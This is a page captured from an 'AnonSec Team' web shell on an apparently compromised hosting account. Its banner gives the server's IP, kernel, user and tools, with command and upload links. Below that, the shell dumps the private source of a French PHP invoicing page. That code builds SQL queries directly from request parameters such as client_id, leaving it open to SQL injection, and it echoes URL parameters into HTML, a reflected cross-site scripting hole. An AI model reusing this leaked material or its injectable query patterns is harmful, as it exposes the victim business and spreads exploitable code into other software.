AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/logmcpe/www/TMCPRO/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/TMCPRO/pages/fcfacturation3_22_04_2024.php
<?php
// error_reporting(E_ALL);
// ini_set("display_errors", 1);
// echo "test fffffffffffffffffffffffffffffffff<br/>" ;
   // $newPassword = 10372 ; 
  // $hashedPassword = password_hash($newPassword, PASSWORD_DEFAULT);
  
  // echo "dddddd==>".$hashedPassword."<br/>" ; 
  
  // exit() ; 

include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;




// $info_sal = dbi_fetch_row(dbi_query(" SELECT *  FROM `client` WHERE `client_id` =  ".$_SESSION['MCPRO_sal']['user_id'])) ;


	if(!empty($_GET['client_id']))
	 {
		 $client_id = $_GET['client_id'] ;
		 $_SESSION["client_id"] = $client_id ;
	 }
	 else
	 {
		 $client_id=$_SESSION["client_id"] ;
	 }

// echo "===>".$client_id."<br/>" ; 
$client =dbi_fetch_row(dbi_query("SELECT * FROM `client` WHERE `client_id` = ".$client_id)) ; 

// error_reporting(E_ALL);
// dini_set("ddisplay_errors", 1);
// ini_set('memory_limit', '1000M');
$pagemenu = basename($_SERVER["PHP_SELF"]) ;
$now   = time();

 include('file_tache.php'); 
function dateDiff($date1, $date2){
    $diff = abs($date1 - $date2); // abs vour avoir la valeur absolute, ainsi éviter d'avoir une différence négative
    $retour = array();

    $tmp = $diff;
    $retour['second'] = $tmp % 60;

    $tmp = floor( ($tmp - $retour['second']) /60 );
    $retour['minute'] = $tmp % 60;

    $tmp = floor( ($tmp - $retour['minute'])/60 );
    $retour['hour'] = $tmp % 24;

    $tmp = floor( ($tmp - $retour['hour'])  /24 );
    $retour['day'] = $tmp;

    return $retour;
}


					function get_drop_down_reglement2 ($name='', $param = '', $value='')
					{
						$q = dbi_query("SELECT * FROM reglement") ;
						$res = "<select  class='form-control' name=\"$name\" $param>" ;
						while($r = dbi_fetch_row($q))
							$res .= "<option value=\"{$r['reglement_id']}\"".($r['reglement_id'] == $value ? ' selected' : (($value==''&&$r['reglement_id'] == 2) ? ' selected' : '')).">".utf8_encode($r['reglement_desc'])."</option>" ;
						return "$res</select>" ;
					}


 // /////////////////////saisir infos de facturations  ///////////////////////////////////

					if(  isset($_POST['reglement_delai'])  && isset($_POST['client_id'])   )
					{

						  $client_nom_facture=addslashes($_POST['client_nom_facture']);
						  $client_facture_cp=$_POST['client_facture_cp'];
						  $client_facture_ville= addslashes($_POST['client_facture_ville']);



						  	$client_adrfact_1 = addslashes($_POST['client_adrfact_1'])  ;
							$client_adrfact_2 = addslashes($_POST['client_adrfact_2'])  ;
							$client_adrfact_3 = addslashes($_POST['client_adrfact_3'] ) ;

						$Client_ID=$_POST['client_id'];
						  $client_nom=$_POST['client_nom'];

						$client_facture_mail='';
						$client_env_mail = $_POST['client_env_mail'];
						$litige='';
						$client_facture_mail = $_POST['client_facture_mail'];
						$client_facture_mail_2 = $_POST['client_facture_mail_2'];
						$client_facture_mail_3 = $_POST['client_facture_mail_3'];
						$litige = 1;
						$reglement_id = $_POST['reglement_id'];
						$reglement_delai = $_POST['reglement_delai'] ;

						$sqlupdate1 = "UPDATE ".TABLE_CLIENT." SET reglement_id="."'$reglement_id'"." , reglement_delai="."'$reglement_delai'"." ,client_env_mail="."'$client_env_mail'".", client_facture_mail="."'$client_facture_mail'".",client_facture_mail_2="."'$client_facture_mail_2'".",client_facture_mail_3="."'$client_facture_mail_3'".", client_facture_cp="."'$client_facture_cp'".", client_adrfact_1="."'$client_adrfact_1'"." , client_adrfact_2="."'$client_adrfact_2'"." , client_adrfact_3="."'$client_adrfact_3'".", litige="."'$litige'".", client_facture_ville="."'$client_facture_ville'"." , client_nom_facture="."'$client_nom_facture'"." WHERE  client_id = $Client_ID" ;


						dbi_query ( $sqlupdate1 );
						header('Location:fcfacturation.php?msg=bien Modifié&color=success');
					}


	// /////////////////////saisir infos de facturations  ///////////////////////////////////

					if (isset($_POST['avoir'], $_POST['fact']))
				{
				// print_r($_POST);
					$montant = (real)str_replace(',', '.', $_POST['avoir']);
					$desc = NULL ;
					$desc = $_POST['desc'];

					$fId = $_POST['fact'];
					$erreur = array() ;

					// echo "-->".$_POST['fact']."<br/>";
				$info_fact = dbi_fetch_row(dbi_query(" SELECT *  FROM  `facture`  WHERE  fact_id = ".$_POST['fact'] )) ;
				// echo "--- date facte-->".$info_fact['date_fact']."<br/>" ;
				 // echo "--- montant avans -->".$montant."<br/>" ;
				if ($info_fact['date_fact']>20140101 )
				{
				$montant = $montant * 1.2  ;
				}
				else
				{
				$montant = $montant * 1.196  ;
				}
				 // echo "--- montant apres -->".$montant."<br/>" ;
				// exit() ;



					if  ($montant <= 0) {
						$erreur[] = "Le montant d'un avoire doit être strictement positif" ;
					}


					list($max) = dbi_fetch_row(dbi_query("SELECT MAX(f.total) - if(sum(a.montant) is null, 0, sum(a.montant)) FROM ".TABLE_FACT." f LEFT JOIN ".TABLE_AVOIR." a using (fact_id) WHERE f.fact_id = $fId")) ;
					if($montant > $max)
						$erreur[] = "Le montant d'un avoir pour cette facture ne doit pas dépasser ".number_format($max, 2, ',', ' ').' €' ;
					// print_r($max);
					$i = 0 ;
					if(empty($erreur) or $i == 0 )
					{

						// list($num) = dbi_fetch_row(dbi_query("SELECT value FROM ".TABLE_CONFIG." WHERE agence_id = $agence AND `key` = 'auto'")) ;
						// dbi_query("UPDATE ".TABLE_CONFIG." set value = value+1 WHERE agence_id=$agence AND `key` = 'auto'");
						list($num) = dbi_fetch_row(dbi_query("SELECT max(`num_avoir`) FROM `avoir`")) ;
						$num = $num + 1 ;

						// dbi_query("INSERT INTO ".TABLE_AVOIR." (montant, fact_id, agence_id, num_avoir, date,desc) VALUES('$montant', '$fId', '$agence', '$num', CURDATE()+0,'$desc')") ;
						// mysqli_query("SET NAMES 'utf8'");
					dbi_query("INSERT INTO ".TABLE_AVOIR." (des,montant, fact_id, agence_id, num_avoir, date) VALUES('$desc','$montant', '$fId', '$agence', '$num', CURDATE()+0)") ;
						list($total) = dbi_fetch_row(dbi_query("SELECT -total+sum(if(p.montant is null, 0, p.montant))+sum(if(a.montant is null, 0, a.montant)) AS paye,
				sum(if(a.montant is null, 0, a.montant)) avoir,
				f.date_fact, if(sum(if(p.montant is null, 0, p.montant))+sum(if(a.montant is null, 0, a.montant)) >= total, 'Réglé', if(sum(if(p.montant is null, 0, p.montant))+sum(if(a.montant is null, 0, a.montant)) = 0, 'Pas de r&egrave;glement', 'R&egrave;glement partiel')) statut,
				f.relance
				FROM ".TABLE_FACT." f
				LEFT JOIN ".TABLE_PAIEMENT." p ON f.fact_id=p.fact_id AND f.client_id=p.client_id
				LEFT JOIN ".TABLE_AVOIR." a ON f.fact_id = a.fact_id
				WHERE f.fact_id = $fId
				GROUP BY f.fact_id, total")) ;
						if($total > 0)
						{
							$q = dbi_query("SELECT * FROM ".TABLE_PAIEMENT." p WHERE fact_id = $fId ORDER BY paiement_id DESC") ;
							while($total > 0 && $p = dbi_fetch_row($q))
							{
								dbi_query("DELETE FROM ".TABLE_PAIEMENT." WHERE paiement_id = ".$p['paiement_id']) ;
								// echo "test <br/>" ;
								payerFacture($fId, $p['montant'], $p['reglement_id'],$_POST['client_id'],$p['num_cheque'],$p['banque']) ;
								$total -= $p['montant'] ;
							}
						}
					}
					else
					{
					}
					$client_id = $_POST['client_id'] ;

					header('Location:fcfacturation.php?msg=Avoir bien enregistrer &color=success');
				}


// $client_id =$_SESSION['MCPRO_sal']['user_id'] ;
$q= dbi_fetch_row(dbi_query("SELECT * FROM client where client_id = ".$client_id)) ;
	?>
<!DOCTYPE html>
<html lang="en">
<?php include('header.php'); ?>
<body class="hold-transition sidebar-mini">
<div class="wrapper">
  <!-- Navbar -->
  <nav class="main-header navbar navbar-expand navbar-white navbar-light">
    <!-- Left navbar links -->
    <ul class="navbar-nav">
      <li class="nav-item">
        <a class="nav-link" data-widget="pushmenu" href="#" role="button"><i class="fas fa-bars"></i></a>
      </li>
    </ul>
	
  </nav>
  <!-- /.navbar -->

  <!-- Main Sidebar Container -->
  
  <?
// echo "=dddttddd=>".$info_sal['client_nom']."<br/>" ; 
// exit() ;
?>
<?php include('menu.php'); ?>

  <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
      <div class="container-fluid">

      </div><!-- /.container-fluid -->
    </section>
	
	<?php  $q= dbi_fetch_row(dbi_query("SELECT * FROM client where client_id = ".$client_id)) ; ?>
    <section class="content-header">
      <div class="container-fluid">
        <div class="row mb-2">
          <div class="col-sm-6">
            <h1><?php echo $q['client_nom'] ; ?> &nbsp - &nbsp <?php echo $q['client_cp'] ; ?> &nbsp <?php echo $q['client_ville'] ; ?> </h1>
          </div>
          <div class="col-sm-6">
            <ol class="breadcrumb float-sm-right">
              <li class="breadcrumb-item"><a href="index.php">Accueil</a></li>
              <li class="breadcrumb-item"><a href="clients2.php">Clients</a></li>
              <li class="breadcrumb-item active"> Factures </li>
            </ol>
          </div>
        </div>
      </div><!-- /.container-fluid -->
    </section>

    <!-- Main content -->
    <section class="content">
      <div class="container-fluid">
        <div class="row">
          <div class="col-md-12">
            <section class="content">
              <div class="container-fluid">
                <div class="row">
                  <div class="col-lg-12">

								  <?php
													  if(isset($_GET["msg"])){
											?>
											<div class="alert alert-<?php echo $_GET["color"]; ?>  alert-dismissible col-12" role="alert">
											  <strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
											  <button type="button" class="close" data-dismiss="alert" aria-label="Close">
												<span aria-hidden="true">&times;</span>
											  </button>
											</div>
											<?php
											}
										   ?>




                    <!-- /.card -->
                  </div>
                  <!-- /.col -->

                  <!-- /.col -->
                </div>
                <!-- /.row -->
              </div><!-- /.container-fluid -->
            </section>


             <div class="card card-secondary">
			
			  <?php include('menu_client_haut.php'); ?>

              <!-- /.card-header -->
										<div class="card-body">
											<!-- ><section class="content"> CARD DE DROITE-->
											<?php if(isset($_GET["msg"])){ ?>
												<div class="alert alert-<?php echo $_GET["color"]; ?>  alert-dismissible col-12" role="alert">
												  <strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
												  <button type="button" class="close" data-dismiss="alert" aria-label="Close">
													<span aria-hidden="true">&times;</span>
												  </button>
												</div>
											<?php  }
											// die('');
											$query = "SELECT f.num_fact,
											f.fact_id, total,date_debut,date_fin,
											total-if(p.paye is null, 0, p.paye)-if(a.avoir is null, 0, a.avoir) AS paye,
											if(a.avoir is null, 0, a.avoir) avoir,
											f.date_fact, if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) >= total, 'Réglé', if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) = 0, 'Pas de r&egrave;glement', 'R&egrave;glement partiel')) statut,
											f.relance
											FROM ".TABLE_FACT." f
											LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) paye, fact_id FROM ".TABLE_PAIEMENT." where client_id = $client_id group by fact_id) p ON f.fact_id = p.fact_id
											LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) avoir, fact_id FROM ".TABLE_AVOIR." group by fact_id) a ON f.fact_id = a.fact_id
											WHERE f.client_id=$client_id
											AND f.agence_id=$agence
											AND if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) %s total
											GROUP BY date_fact, f.fact_id, total
											order by num_fact DESC" ;
											$q = dbi_query(sprintf($query, '>=')) ;


											$query2 = "SELECT f.num_fact,
											f.fact_id, total,date_debut,date_fin,
											total-if(p.paye is null, 0, p.paye)-if(a.avoir is null, 0, a.avoir) AS paye,
											if(a.avoir is null, 0, a.avoir) avoir,
											f.date_fact, if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) >= total, 'Réglé', if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) = 0, 'Pas de r&egrave;glement', 'R&egrave;glement partiel')) statut,
											f.relance
											FROM ".TABLE_FACT." f
											LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) paye, fact_id FROM ".TABLE_PAIEMENT." where client_id = $client_id group by fact_id) p ON f.fact_id = p.fact_id
											LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) avoir, fact_id FROM ".TABLE_AVOIR." group by fact_id) a ON f.fact_id = a.fact_id
											WHERE f.client_id=$client_id
											AND f.agence_id=$agence
											AND if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) %s total
											GROUP BY date_fact, f.fact_id, total
											order by num_fact DESC" ;
											//printf($query, '<');
											$date = date("Ymd");
											// echo " $reglementDelai  $date <br/>";
											$q2 = dbi_query(sprintf($query2, '<')) ;
											if(mysqli_num_rows($q2) || mysqli_num_rows($q))
											{
												// echo ' *************** ';

											?><br clear="all" />
											<div id="tab">
											<div class="box-body">
											<table id="" class="table table-hover">
												<thead>
												<tr>
													<th style="text-align:center;">N°</th>
													<th style="text-align:center;">DATE</th>
													<th style="text-align:center;">MONTANT</th>
													<th style="text-align:center;">Reglement</th>
													<th style="text-align:center;">Net &agrave; payer</th>
													<th style="text-align:center;">Règlement</th>
													<th style="text-align:center;"></th>
												</tr>
												</thead>
												<tbody>
											<?php
												while($f = dbi_fetch_row($q2))
												{
												// echo "---> $f['fact_id']"
											$date2 = strtotime($f['date_fact']);
											$a =  dateDiff($now, $date2) ;
											 // if($a['day']> $reglementDelai )
											 // {
                                                $p = dbi_query(" SELECT * FROM `paiement` WHERE `fact_id` = ".$f['fact_id']." ORDER BY `paiement_id` DESC ") ; 

											?>
												<tr>
													<td style="text-align:center;"><?=$f['num_fact']?></td>
													<td style="text-align:center;"><?=int2date($f['date_fact'])?></td>
													<td style="text-align:center;"><?=number_format($f['total'], 2, ', ', ' ').' &euro;'?></td>
													<td style="text-align:center;">
													<? while($pai = dbi_fetch_row($p)){echo int2date($pai['date'])." -- ".$pai['montant']."<br/>" ; }?>
													</td>
													<td style="text-align:center;"><?=number_format($f['paye'], 2, ', ', ' ')?> &euro; <?=($f['avoir'] > 0) ? '<br>(avoirrr de '.number_format($f['avoir'], 2, ', ', ' ').' &euro;)' : ''?></td>
													<td style="text-align:center;"><?=$f['statut']?></td>
													<td style="text-align:center;">
													<a href="code/fact.php?fid=<?=$f['fact_id']?>" target="_blank" class="btn btn-info btn-sm"> <i class="fas fa-eye"></i> </a>




											<?=$f['relance'] ? ' | <a href="factures/'.$client_id.'/'.$f['fact_id'].'-'.$f['relance'].'.pdf" target="_blank">Voir la derni&egrave;re relance</a>' : ''?>
											<?php
												if ($f['avoir'])
												{
													$qa = dbi_query("SELECT * FROM ".TABLE_AVOIR." WHERE fact_id = ".$f['fact_id']." AND agence_id = $agence") ;
													while($a = dbi_fetch_row($qa))
														printf('<br/><br/>

													<a href="avoir.php?aid=%d" target="_blank" class="btn btn-info btn-sm">Avoir n&ordm;%d</a>', $a['avoir_id'], $a['num_avoir']);
												}
											?></td>
												</tr>
											<?php
											// }
												}
												while($f = dbi_fetch_row($q))
												{
											    $p = dbi_query(" SELECT * FROM `paiement` WHERE `fact_id` = ".$f['fact_id']." ORDER BY `paiement_id` DESC ") ; 
											?>
												<tr>
													<td style="text-align:center;"><?=$f['num_fact']?></td>
													<td style="text-align:center;"><?=int2date($f['date_fact'])?></td>
													<td style="text-align:center;"><?=number_format($f['total'], 2, ', ', ' ').' &euro;'?></td>
													<td style="text-align:center;">
													<? while($pai = dbi_fetch_row($p)){echo int2date($pai['date'])." -- ".$pai['montant']."<br/>" ; }?>
													</td>
													<td style="text-align:center;"><?=number_format($f['paye'], 2, ', ', ' ')?> &euro; <?=($f['avoir'] > 0) ? '<br>(avoir de '.number_format($f['avoir'], 2, ', ', ' ').' &euro;)' : ''?></td>
													<td style="text-align:center;"><?=$f['statut']?></td>
													<td style="text-align:center;"><a href="code/fact.php?fid=<?=$f['fact_id']?>" target="_blank" class="btn btn-info btn-sm"> <i class="fas fa-eye"></i> </a>
											<?=$f['relance'] ? ' | <a href="factures/'.$client_id.'/'.$f['fact_id'].'-'.$f['relance'].'.pdf" target="_blank" class="btn btn-info btn-sm">Voir la derni&egrave;re relance</a>' : ''?>
											<?php
												if ($f['avoir'])
												{
													$qa = dbi_query("SELECT * FROM ".TABLE_AVOIR." WHERE fact_id = ".$f['fact_id']." AND agence_id = $agence") ;
													while($a = dbi_fetch_row($qa))
														printf('<br><br/><a href="avoir.php?aid=%d" target="_blank" class="btn btn-info btn-sm">Avoir n&ordm;%d</a>', $a['avoir_id'], $a['num_avoir']);
												}
											?></td>
												</tr>
											<?php
												}
												echo '</tbody></table></div></div>';
											}
											?>






										</div>
            <!-- /.card -->
          </div>
          <!-- /.col -->

          <!-- /.col -->
        </div>
        <!-- /.row -->
      </div><!-- /.container-fluid -->
    </section>
    <!-- /.content -->
  </div>
  <!-- /.content-wrapper -->
  <footer class="main-footer">
    <div class="float-right d-none d-sm-block">
      <b>Version</b> 3.2.0
    </div>
    <strong>MC PRO 2022 </strong>
  </footer>

  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->

<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
</body>
</html>

AnonSec - 2021